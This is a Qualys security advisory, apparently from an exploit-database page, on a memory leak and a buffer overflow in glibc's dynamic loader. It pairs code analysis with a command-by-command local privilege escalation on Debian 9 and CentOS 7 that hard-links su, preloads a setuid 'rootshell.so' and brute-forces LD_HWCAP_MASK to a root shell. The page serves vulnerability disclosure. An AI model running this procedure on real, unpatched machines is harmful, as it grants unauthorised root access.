Menu

Search for hundreds of thousands of exploits

"GNU C Library Dynamic Loader glibc ld.so - Memory Leak / Buffer Overflow"

Author

Exploit author

"Qualys Corporation"

Platform

Exploit platform

linux

Release date

Exploit published date

2017-12-13

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
Qualys Security Advisory

Buffer overflow in glibc's ld.so


========================================================================
Contents
========================================================================

Summary
Memory Leak
Buffer Overflow
Exploitation
Acknowledgments


========================================================================
Summary
========================================================================

We have discovered a memory leak and a buffer overflow in the dynamic
loader (ld.so) of the GNU C Library (glibc):

- the memory leak (CVE-2017-1000408) first appeared in glibc 2.1.1
  (released on May 24, 1999) and can be reached and amplified through
  the LD_HWCAP_MASK environment variable;

- the buffer overflow (CVE-2017-1000409) first appeared in glibc 2.5
  (released on September 29, 2006) and can be triggered through the
  LD_LIBRARY_PATH environment variable.

Further investigation showed that:

- the buffer overflow is not exploitable if
  /proc/sys/fs/protected_hardlinks is enabled (it is not enabled by
  default on vanilla Linux kernels, but most Linux distributions turn it
  on by default);

- the memory leak and the buffer overflow are not exploitable if the
  glibc is patched against CVE-2017-1000366, because this patch ignores
  the LD_HWCAP_MASK and LD_LIBRARY_PATH environment variables when SUID
  binaries are executed (CVE-2017-1000366 was first patched in glibc
  2.26, released on August 2, 2017, but most Linux distributions had
  already backported this patch on June 19, 2017).

We have therefore rated the impact of these vulnerabilities as Low.
Nevertheless, we give a brief analysis of the vulnerable function, and
present a simple method for exploiting a SUID binary on the command line
and obtaining full root privileges (if /proc/sys/fs/protected_hardlinks
is not enabled, and CVE-2017-1000366 is not patched).


========================================================================
Memory Leak (CVE-2017-1000408)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

In _dl_init_paths(), ld.so malloc()ates "rtld_search_dirs.dirs[0]", a
cache of information about the system's trusted directories (typically
"/lib" and "/usr/lib" on 32-bit or "/lib64" and "/usr/lib64" on 64-bit).
To compute the number of system directories, ld.so uses the classic C
idiom "sizeof (system_dirs) / sizeof (system_dirs[0])":

 691   rtld_search_dirs.dirs[0] = (struct r_search_path_elem *)
 692     malloc ((sizeof (system_dirs) / sizeof (system_dirs[0]))
 693             * round_size * sizeof (struct r_search_path_elem));

Unfortunately, "system_dirs" is not a classic array: it is not an array
of strings (pointers to characters), but rather an array of characters,
the concatenation of all system directories, separated by null bytes:

 109 static const char system_dirs[] = SYSTEM_DIRS;

where "SYSTEM_DIRS" is generated by "gen-trusted-dirs.awk" (typically
"/lib/\0/usr/lib/" on 32-bit or "/lib64/\0/usr/lib64/" on 64-bit). As a
result, the number of system directories is overestimated, and too much
memory is allocated for "rtld_search_dirs.dirs[0]": if "system_dirs" is
"/lib/\0/usr/lib/" for example, the number of system directories is 2,
but 16 is used instead (the number of characters in "system_dirs") to
compute the size of "rtld_search_dirs.dirs[0]".

This extra memory is never accessed, never freed, and mostly filled with
null bytes, because only the information about "nsystem_dirs_len" system
directories (the correct number of system directories) is written to
"rtld_search_dirs.dirs[0]", and because the minimal malloc()
implementation in ld.so calls mmap(), but never munmap().

Moreover, this memory leak can be amplified through the LD_HWCAP_MASK
environment variable, because ld.so uses "ncapstr" (the total number of
hardware-capability combinations) to compute the size of
"rtld_search_dirs.dirs[0]":

 687   round_size = ((2 * sizeof (struct r_search_path_elem) - 1
 688                  + ncapstr * sizeof (enum r_dir_status))
 689                 / sizeof (struct r_search_path_elem));

------------------------------------------------------------------------
History
------------------------------------------------------------------------

We tracked down this vulnerability to:

commit ab7eb292307152e706948a7b19164ff5e6d593d4
Date:   Mon May 3 21:59:35 1999 +0000

    Update.

        * elf/Makefile (trusted-dirs.st): Use gen-trusted-dirs.awk.
        * elf/gen-trusted-dirs.awk: New file.
        * elf/dl-load.c (systems_dirs): Moved into file scope.  Initialize
        from SYSTEM_DIRS macro.
        (system_dirs_len): New variable.  Contains lengths of system_dirs
        strings.
        (fillin_rpath): Rewrite for systems_dirs being a simple string.
        Improve string comparisons.  Change parameter trusted to be a flag.
        Change all callers.
        (_dt_init_paths): Improve using new format for system_dirs.

which transformed "system_dirs" from an array of strings (pointers to
characters) into an array of characters:

-  static const char *system_dirs[] =
-  {
-#include "trusted-dirs.h"
-    NULL
-  };
...
+static const char system_dirs[] = SYSTEM_DIRS;


========================================================================
Buffer Overflow (CVE-2017-1000409)
========================================================================

------------------------------------------------------------------------
Analysis
------------------------------------------------------------------------

In _dl_init_paths(), ld.so computes "nllp", the number of
colon-separated directories in "llp" (the LD_LIBRARY_PATH environment
variable), malloc()ates "env_path_list.dirs", an array of "nllp + 1"
pointers to "r_search_path_elem" structures (one for each directory in
"llp", plus a terminating NULL pointer), and calls fillin_rpath() to
fill in "env_path_list.dirs":

 777   if (llp != NULL && *llp != '\0')
 778     {
 779       size_t nllp;
 780       const char *cp = llp;
 781       char *llp_tmp;
 ...
 803       nllp = 1;
 804       while (*cp)
 805         {
 806           if (*cp == ':' || *cp == ';')
 807             ++nllp;
 808           ++cp;
 809         }
 810 
 811       env_path_list.dirs = (struct r_search_path_elem **)
 812         malloc ((nllp + 1) * sizeof (struct r_search_path_elem *));
 ...
 819       (void) fillin_rpath (llp_tmp, env_path_list.dirs, ":;",
 820                            __libc_enable_secure, "LD_LIBRARY_PATH",
 821                            NULL, l);

Unfortunately, ld.so parses the "llp" string to compute "nllp" but
parses the "llp_tmp" string (an expanded copy of "llp") to fill in
"env_path_list.dirs". As a result, the number of pointers written to
"env_path_list.dirs" can be greater than "nllp + 1" (an mmap()-based
buffer overflow) if the contents of "llp_tmp" differ from the contents
of "llp" (if "llp_tmp" contains more colons than "llp"):

 784       /* Expand DSTs.  */
 785       size_t cnt = DL_DST_COUNT (llp, 1);
 786       if (__glibc_likely (cnt == 0))
 787         llp_tmp = strdupa (llp);
 788       else
 789         {
 790           /* Determine the length of the substituted string.  */
 791           size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
 792 
 793           /* Allocate the necessary memory.  */
 794           llp_tmp = (char *) alloca (total + 1);
 795           llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
 796         }

The Dynamic String Tokens (DSTs) $LIB and $PLATFORM are expanded to
fixed strings that do not contain colons (typically "lib" and "i686" on
32-bit or "lib64" and "x86_64" on 64-bit), but the expansion of $ORIGIN
(the directory of the binary being executed) can inject extra colons
into "llp_tmp" and hence extra pointers into "env_path_list.dirs".

To exploit this buffer overflow, a local attacker must therefore be able
to:

- hard-link a SUID binary into a directory whose pathname contains
  colons (i.e., /proc/sys/fs/protected_hardlinks must not be enabled);

- pass the LD_LIBRARY_PATH environment variable to _dl_init_paths()
  (i.e., CVE-2017-1000366 must not be patched).

------------------------------------------------------------------------
History
------------------------------------------------------------------------

We tracked down this vulnerability to:

commit 950398e1320255572f4228db94344dcd5f613455
Date:   Tue Aug 29 01:44:27 2006 +0000

    * elf/dl-load.c (_dl_init_paths): Expand DSTs.

which added the expansion of llp's Dynamic String Tokens (DSTs) to
_dl_init_paths():

-      char *llp_tmp = strdupa (llp);
+      char *llp_tmp;
...
+      /* Expand DSTs.  */
+      size_t cnt = DL_DST_COUNT (llp, 1);
+      if (__builtin_expect (cnt == 0, 1))
+       llp_tmp = strdupa (llp);
+      else
+       {
+         /* Determine the length of the substituted string.  */
+         size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);
+
+         /* Allocate the necessary memory.  */
+         llp_tmp = (char *) alloca (total + 1);
+         llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);
+       }


========================================================================
Exploitation
========================================================================

------------------------------------------------------------------------
Debian 9 (i386)
------------------------------------------------------------------------

In this example, we exploit the SUID-root binary "su" on a 32-bit Debian
9.0: we installed "debian-9.0.0-i386-xfce-CD-1.iso" (the last release
before glibc's CVE-2017-1000366 was patched), and manually disabled
protected_hardlinks ("echo 0 > /proc/sys/fs/protected_hardlinks").

1/ First, we identify the system's trusted directories (the only
directories accepted by fillin_rpath() when executing a SUID binary):

$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
      1607:     find library=nonexistent [0]; searching
      1607:      search cache=/etc/ld.so.cache
      1607:      search path=/lib/i386-linux-gnu/tls/i686:/lib/i386-linux-gnu/tls:/lib/i386-linux-gnu/i686:/lib/i386-linux-gnu:/usr/lib/i386-linux-gnu/tls/i686:/usr/lib/i386-linux-gnu/tls:/usr/lib/i386-linux-gnu/i686:/usr/lib/i386-linux-gnu:/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib            (system search path)
      1607:       trying file=/lib/i386-linux-gnu/tls/i686/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/tls/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/i686/nonexistent
      1607:       trying file=/lib/i386-linux-gnu/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/tls/i686/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/tls/nonexistent
      1607:       trying file=/usr/lib/i386-linux-gnu/i686/nonexistent

The "system search path" line shows four system directories:
"/lib/i386-linux-gnu", "/usr/lib/i386-linux-gnu", "/lib", and "/usr/lib"
("tls" and "i686" are default hardware capabilities that are enabled
even if LD_HWCAP_MASK is 0).

2/ Second, we create our $ORIGIN directory and hard-link the SUID-root
binary "su" into it:

$ mkdir -p '/var/tmp/:/lib:/usr/lib:'

$ cd '/var/tmp/:/lib:/usr/lib:'

$ ln `which su` .

The pathname of our $ORIGIN directory contains two system directories:
we will write 12 bytes (3 pointers: one for each system directory, plus
a terminating NULL pointer) to an 8-byte "env_path_list.dirs" ("nllp" is
only 1, because our unexpanded LD_LIBRARY_PATH does not contain colons).
In other words, we will overflow "env_path_list.dirs" and write 4 bytes
(the terminating NULL pointer) out of bounds.

3/ Third, we overwrite this out-of-bounds NULL pointer with the first
bytes of an error message ("cannot open shared object file") that is
malloc()ated after "env_path_list.dirs" because of our "nonexistent"
preload library. Consequently, ld.so crashes when open_path() tries to
open our second preload library "rootshell.so" in a directory described
by an "r_search_path_elem" structure located at the unmapped address
0x6e6e6163 (the overwritten NULL pointer):

$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

$ dmesg | tail -n 1
[70632.888695] su[2293]: segfault at 6e6e6173 ip b77e1c43 sp bfc946dc error 4 in ld-2.24.so[b77db000+22000]

The "/../../../../../../../../$LIB" suffix is required, to pass the
"check_for_trusted" test in _dl_dst_substitute() (our expanded
LD_LIBRARY_PATH must be rooted in one of the system's trusted
directories).

4/ Next, we copy the library dependencies of "su" to our current working
directory, and compile our preload library "rootshell.so" ("la.c" can be
found at the beginning of our stack-clash exploit "Linux_ldso_hwcap.c"):

$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .

$ cat > la.c << "EOF"
> static void __attribute__ ((constructor)) _init (void) {
>     ...
>     // setuid(0);
>     ...
>     // execve("/bin/sh");
>     ...
> }
> EOF
$ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c

$ chmod u+s rootshell.so

This "chmod" is required, to pass the SUID-bit test in open_path().

5/ Last, we run "su" with an increasing number of hardware capabilities
(i.e., with an increasingly large "rtld_search_dirs.dirs[0]"), until the
"rtld_search_dirs.dirs[0]" occupies the address 0x6e6e6163. Because this
"rtld_search_dirs.dirs[0]" is mostly filled with null bytes, and because
an "r_search_path_elem" structure filled with null bytes is equivalent
to the current working directory in open_path(), ld.so will eventually
load and execute our "rootshell.so" from the current working directory:

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m0.715s
user    0m0.120s
sys     0m0.588s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m1.443s
user    0m0.368s
sys     0m1.072s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m2.840s
user    0m0.656s
sys     0m2.172s

...

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<23)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m5.778s
user    0m1.200s
sys     0m4.576s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<24)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
Segmentation fault

real    0m11.589s
user    0m2.520s
sys     0m9.060s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m28.050s
user    0m6.140s
sys     0m21.892s

6/ Improvements in the running time of this exploit are left as an
exercise for the interested reader:

$ env -i LD_LIBRARY_PATH=. LD_PRELOAD=nonexistent LD_HWCAP_MASK="$(((1<<25)-1))" LD_DEBUG=libs env 2>&1 | head -c 1000
      3084:     find library=nonexistent [0]; searching
      3084:      search path=./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/vme:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/de/vme/fpu:./tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mc

$ mkdir -p './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'

$ mv -- *.so* './tls/i686/fxsr/mmx/clflush/pse36/pat/cmov/mca/pge/mtrr/sep/apic/cx8/mce/pae/msr/tsc/pse/de/vme/fpu'

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded (cannot open shared object file): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m23.485s
user    0m5.244s
sys     0m18.220s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='os-release:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'os-release' from LD_PRELOAD cannot be preloaded (invalid ELF header): ignored.
# id; exit
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(user)

real    0m11.352s
user    0m2.844s
sys     0m8.388s

------------------------------------------------------------------------
CentOS 7 (i386)
------------------------------------------------------------------------

In this example, we exploit "su" on a 32-bit CentOS 7.3.1611: we
installed "CentOS-7-i386-Minimal-1611.iso" (the last release before
CVE-2017-1000366 was patched), and manually disabled protected_hardlinks
("echo 0 > /proc/sys/fs/protected_hardlinks").

$ env -i LD_PRELOAD=nonexistent LD_HWCAP_MASK=0 LD_DEBUG=libs env 2>&1 | head
     17896:     find library=nonexistent [0]; searching
     17896:      search cache=/etc/ld.so.cache
     17896:      search path=/lib/tls/i686:/lib/tls:/lib/i686:/lib:/usr/lib/tls/i686:/usr/lib/tls:/usr/lib/i686:/usr/lib                (system search path)
     17896:       trying file=/lib/tls/i686/nonexistent
     17896:       trying file=/lib/tls/nonexistent
     17896:       trying file=/lib/i686/nonexistent
     17896:       trying file=/lib/nonexistent
     17896:       trying file=/usr/lib/tls/i686/nonexistent
     17896:       trying file=/usr/lib/tls/nonexistent
     17896:       trying file=/usr/lib/i686/nonexistent

$ mkdir -p '/var/tmp/:/lib:/usr/lib:'

$ cd '/var/tmp/:/lib:/usr/lib:'

$ ln `which su` .

$ env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

$ dmesg | tail -n 1
[ 8414.911000] su[18088]: segfault at 6e6e6173 ip b77645e2 sp bfe0cb40 error 4 in ld-2.17.so[b775f000+1f000]

$ cp -- `ldd ./su | grep ' => /' | awk '{print $3}'` .

$ cat > la.c << "EOF"
> static void __attribute__ ((constructor)) _init (void) {
>     ...
>     // setuid(0);
>     ...
>     // execve("/bin/sh");
>     ...
> }
> EOF
$ gcc -fpic -shared -nostdlib -Os -s -o rootshell.so la.c

$ chmod u+s rootshell.so

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<16)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m0.527s
user    0m0.085s
sys     0m0.441s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<17)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m1.060s
user    0m0.182s
sys     0m0.877s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<18)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m2.093s
user    0m0.384s
sys     0m1.702s

...

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<25)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m17.071s
user    0m2.525s
sys     0m14.537s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<26)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
Segmentation fault

real    0m33.926s
user    0m5.464s
sys     0m28.429s

$ time env -i LD_LIBRARY_PATH='$ORIGIN/../../../../../../../../$LIB' LD_PRELOAD='nonexistent:rootshell.so' LD_HWCAP_MASK="$(((1<<27)-1))" ./su
ERROR: ld.so: object 'nonexistent' from LD_PRELOAD cannot be preloaded: ignored.
sh-4.2# id; exit
uid=0(root) gid=0(root) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

real    1m30.604s
user    0m16.169s
sys     1m14.395s


========================================================================
Acknowledgments
========================================================================

We thank the members of the linux-distros@openwall list.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2020-02-26 "OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution" remote openbsd "Qualys Corporation"
2020-02-26 "OpenSMTPD 6.6.3 - Arbitrary File Read" remote linux "Qualys Corporation"
2019-12-16 "OpenBSD 6.x - Dynamic Loader Privilege Escalation" local openbsd "Qualys Corporation"
2019-06-05 "Exim 4.87 < 4.91 - (Local / Remote) Command Execution" remote linux "Qualys Corporation"
2018-09-26 "Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation" local linux "Qualys Corporation"
2018-05-30 "Procps-ng - Multiple Vulnerabilities" local linux "Qualys Corporation"
2017-12-13 "GNU C Library Dynamic Loader glibc ld.so - Memory Leak / Buffer Overflow" local linux "Qualys Corporation"
2017-09-26 "Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (CentOS 7) - SUID Position Independent Executable 'PIE' Local Privilege Escalation" local linux "Qualys Corporation"
2017-06-28 "Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack Clash' Local Privilege Escalation" local linux_x86 "Qualys Corporation"
2017-06-28 "NetBSD - 'Stack Clash' (PoC)" dos netbsd_x86 "Qualys Corporation"
2017-06-28 "Linux Kernel - 'offset2lib' Stack Clash" local linux_x86 "Qualys Corporation"
2017-06-28 "OpenBSD - 'at Stack Clash' Local Privilege Escalation" local openbsd "Qualys Corporation"
2017-06-28 "Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Clash' Local Privilege Escalation" local linux_x86-64 "Qualys Corporation"
2017-06-28 "FreeBSD - 'setrlimit' Stack Clash (PoC)" dos freebsd_x86 "Qualys Corporation"
2017-06-28 "FreeBSD - 'FGPE' Stack Clash (PoC)" dos freebsd_x86 "Qualys Corporation"
2017-06-28 "FreeBSD - 'FGPU' Stack Clash (PoC)" dos freebsd_x86 "Qualys Corporation"
2017-06-28 "Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.0/6.8/7.2.1511) - 'ldso_hwcap Stack Clash' Local Privilege Escalation" local linux_x86 "Qualys Corporation"
2017-06-28 "Oracle Solaris 11.1/11.3 (RSH) - 'Stack Clash' Local Privilege Escalation" local solaris_x86 "Qualys Corporation"
2017-06-14 "Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalation" local linux "Qualys Corporation"
2015-07-27 "Libuser Library - Multiple Vulnerabilities" dos linux "Qualys Corporation"
2015-03-18 "Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)" remote linux "Qualys Corporation"
2002-07-09 "iPlanet Web Server 4.1 - Search Component File Disclosure" remote multiple "Qualys Corporation"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.